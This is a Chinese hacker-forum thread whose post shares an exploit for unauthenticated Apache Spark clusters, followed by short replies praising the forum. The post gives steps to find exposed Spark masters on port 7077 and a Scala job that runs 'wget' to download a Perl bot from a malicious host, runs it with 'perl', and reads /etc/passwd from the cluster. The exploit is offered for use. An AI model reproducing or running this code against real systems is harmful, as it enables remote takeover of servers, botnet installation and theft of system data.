90_ 发表于 2015-3-29 18:04:02

Apache Spark Cluster Arbitary Code Execution Exploit

描述:
# Spark clusters which are not secured with proper firewall can be taken over easily (Since it does not have
# any authentication mechanism), this exploit simply runs arbitrary codes over the cluster.
# All you have to do is, find a vulnerable Spark cluster (usually runs on port 7077) add that host to your
# hosts list so that your system will recognize it (here its spark-b-akhil-master pointing
# to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary codes that you want to execute.

使用说明:
git clone https://github.com/akhld/spark-exploit.git
cd spark-exploit
#Place the vuln host info in the file
vim exploit.scala
sbt run

import org.apache.spark.{SparkContext, SparkConf}
 
    /**
     * Created by akhld on 23/3/15.
     */
 
    object Exploit {
      def main(arg: Array) {
        val sconf = new SparkConf()
          .setMaster("spark://spark-b-akhil-master:7077") // Set this to the vulnerable URI
          .setAppName("Exploit")
          .set("spark.cores.max", "12")
          .set("spark.executor.memory", "10g")
          .set("spark.driver.host","hacked.work") // Set this to your host from where you launch the attack
 
        val sc = new SparkContext(sconf)
              sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")
 
        val exploit = sc.parallelize(1 to 1).map(x=>{
           //Replace these with whatever you want to get executed
               val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
           val y = "perl bot.pl".!
           scala.io.Source.fromFile("/etc/passwd").mkString
        })
        exploit.collect().foreach(println)
      }
    }
 

菜鸟小羽 发表于 2015-6-28 01:55:14

支持中国红客联盟(ihonker.org)

asion 发表于 2015-6-28 08:57:17

perble 发表于 2015-6-29 20:14:00

a136 发表于 2015-7-2 15:20:46

支持中国红客联盟(ihonker.org)

CHRIS 发表于 2015-7-3 16:00:01

支持中国红客联盟(ihonker.org)

perble 发表于 2015-7-3 21:35:20

支持中国红客联盟(ihonker.org)

Jack-5 发表于 2015-7-4 20:28:33

感谢楼主的分享~

Lucifer 发表于 2015-7-5 19:06:01

支持中国红客联盟(ihonker.org)

wanmznh 发表于 2015-7-6 06:35:07

支持,看起来不错呢!
页: [1] 2 3 4 5 6
查看完整版本: Apache Spark Cluster Arbitary Code Execution Exploit